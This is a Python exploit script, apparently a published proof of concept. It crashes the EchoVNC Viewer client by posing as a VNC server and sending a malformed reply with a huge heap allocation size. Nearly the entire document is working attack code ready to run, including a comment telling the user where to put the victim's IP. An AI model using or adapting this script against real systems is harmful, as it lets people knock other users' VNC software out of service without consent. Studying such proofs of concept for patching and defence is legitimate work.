#!/usr/bin/env python#================================================================## [+] Title: EchoVNC Viewer Remote DoS Vulnerability ## [+] Discovered: 29/07/2013 ## [+] Software Vendor: http://sourceforge.net/projects/echovnc/## [+] Author: Z3r0n3 - Independent Security Researcher ## [+] Contact: z3r0n3@mail.com ## [+] Overview:## A remote attacker can crash EchoVNC Viewer by sending a## malformed request. the crash occurs when EchoVNC ## Viewer allocate a buffer from heap with the size specified ## by the malicious server. ## [+] NOTICE:## You need to configure EchoVNC Viewer with the specified## host/port below. ## When running the exploit, you need to put the IP and press ## OK button on EchoVNC Viewer main window. ##================================================================#
import socket, sys;
host="localhost"# Put the victim IP here
port=5900;
malreq=b"\x00\x00\x00\x00\x90\x90\x90\x90"# the first 4 bytes specifies if the# server needs authentication# \x00\x00\x00\x00 means the server# doesn't need user/password# the last 4 bytes specifies the# buffer size that will be allocated# in heap
print("[+] Creating socket...");
srv=socket.socket(socket.AF_INET, socket.SOCK_STREAM);try:
print("[+] Trying to bind..");
srv.bind((host,port));
except socket.error:
print("[!] Can't connect...");
srv.close()
sys.exit()
print("[+] Trying to listen to %s:%d"%(host,port));
srv.listen(5)
cnx, addr=srv.accept()
print("[+] Client connected %s:%s"%(addr[0], addr[1]))
print("[+] Sending protocol signature...");
cnx.send(b"RFB 003.008\n")
print("[+] Sending malformed request with huge size for heap allocation");
cnx.send(malreq);
cnx.close()
srv.close()
print("[x] EchoVNC Viewer should be down...");